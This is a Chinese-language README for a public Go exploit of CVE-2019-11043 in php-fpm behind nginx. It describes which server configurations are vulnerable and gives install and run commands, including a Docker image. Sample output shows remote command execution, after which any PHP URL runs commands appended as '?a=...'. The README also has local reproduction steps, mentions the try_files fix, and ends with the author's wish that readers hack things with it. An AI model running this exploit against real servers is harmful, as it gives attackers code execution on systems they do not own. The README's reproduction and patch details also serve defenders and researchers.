
Exploit for CVE-2019-11043
这是 php-fpm 中一个漏洞(CVE-2019-11043)的利用程序。在某些 nginx + php-fpm 配置下,该漏洞可从外部触发。这意味着如果你的配置存在风险(参见下方),则 Web 用户可能获得代码执行权限。
虽然我们懒得写分析文章,但 Orange Tsai 在他的博客中发布了一篇完美的分析。向他致敬。
另外,我在 ZeroNights 2019 的幻灯片在此提供。
如果 Web 服务器运行 nginx + php-fpm,并且 nginx 的配置类似于:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
并且缺少任何脚本存在性检查(如 try_files),那么你很可能可以用这个利用程序进行攻击。
location ~ [^/]\.php(/|$) 必须转发到 php-fpm(正则表达式可能更严格,参见 #1)。fastcgi_param PATH_INFO $fastcgi_path_info; 设置 PATH_INFO 变量。同时必须使用 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 设置 SCRIPT_FILENAME($document_root 可能替换成固定路径)。最初我们以为这些在 fastcgi_params 文件中总是存在,但实际上并非如此。PATH_INFO 设置为空值。此利用程序假定存在 fastcgi_split_path_info 指令,并且其正则表达式以 ^ 开头、以 $ 结尾,因此它尝试用换行符破坏该正则。PATH_INFO 在 REQUEST_URI 之后设置。try_files $uri =404 或 if (-f $uri) 的文件存在性检查。如果 Nginx 在 FastCGI 转发前丢弃对不存在脚本的请求,我们的请求就永远无法到达 php-fpm。添加此类检查也是最简单的修补方法。很久以前,php-fpm 不限制脚本的扩展名,这意味着 /avatar.png/some-fake-shit.php 这样的请求可以将 avatar.png 作为 PHP 脚本执行。该问题大约在 2010 年被修复。
当前的漏洞不需要文件上传,在最新的版本中(直到补丁发布前)仍然有效,而且最重要的是,这个利用程序酷多了。
安装方式:
go get github.com/neex/phuip-fpizdam
如果出现奇怪的编译错误,请确保使用的 go 版本 >= 1.13。使用 phuip-fpizdam [url] 运行程序(假设 $GOPATH/bin 在 $PATH 中,否则请指定二进制文件的完整路径)。正常的输出如下:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
之后,你可以在所有 PHP 脚本的 URL 后追加 ?a=<你的命令>(可能需要多次重试)。
或者,你也可以使用 docker 镜像 来运行利用程序:
docker run --rm ypereirareis/cve-2019-11043 [url]
如果你想在本地通过 Docker 重现该问题或测试利用程序,请执行以下步骤:
reproducer 目录。docker build -t reproduce-cve-2019-11043 . 构建 Docker 镜像。这一步需要很长时间,因为它会在内部克隆 PHP 仓库并从源码构建。不过,如果你想调试利用程序,这种方式会更方便。构建的版本是修复前的最后一个版本。docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 运行 Docker 容器。phuip-fpizdam http://127.0.0.1:8080/script.php 运行利用程序。?a= 来执行命令:http://127.0.0.1:8080/script.php?a=id。请多次尝试,因为只有部分 php-fpm worker 被感染。如果你想在本地通过 LXD 重现该问题或测试利用程序,请执行以下步骤:
vulnerable 和 attacker。你可以对两个容器都使用 ubuntu:18.04 容器镜像。vulnerable 容器中,安装 nginx 和 php-fpm。按照此配置配置服务器块。创建一个空文件 /var/www/html/index.php。attacker 容器中,安装 Go 语言(sudo snap install go --classic),克隆本仓库,并在仓库目录下运行 go build。./phuip-fpizdam http://vulnerable.lxd/index.php。多次尝试以感染所有 php-fpm worker。更多详细说明,请参阅 使用 LXD 系统容器测试 CVE-2019-11043 (php-fpm 安全漏洞)。
php-fpm 中的缓冲区下溢在 PHP 5 版本中存在。然而,此利用程序使用了存储 FastCGI 变量时的一个优化特性 _fcgi_data_seg。该优化仅在 PHP 7 中存在,因此此特定利用程序仅适用于 PHP 7。可能还有其他适用于 PHP 5 的利用技术。
原始异常由 d90pwn 在 Real World CTF 期间发现。根本原因由我(Emil Lerner)发现,同时发现了设置 php.ini 选项的方法。最终的 php.ini 选项集由 beched 发现。
此利用程序根据 MIT 许可证 条款发布。
请勿使用此利用程序造成任何损害。但如果你真的用它黑进了什么东西,我会很高兴。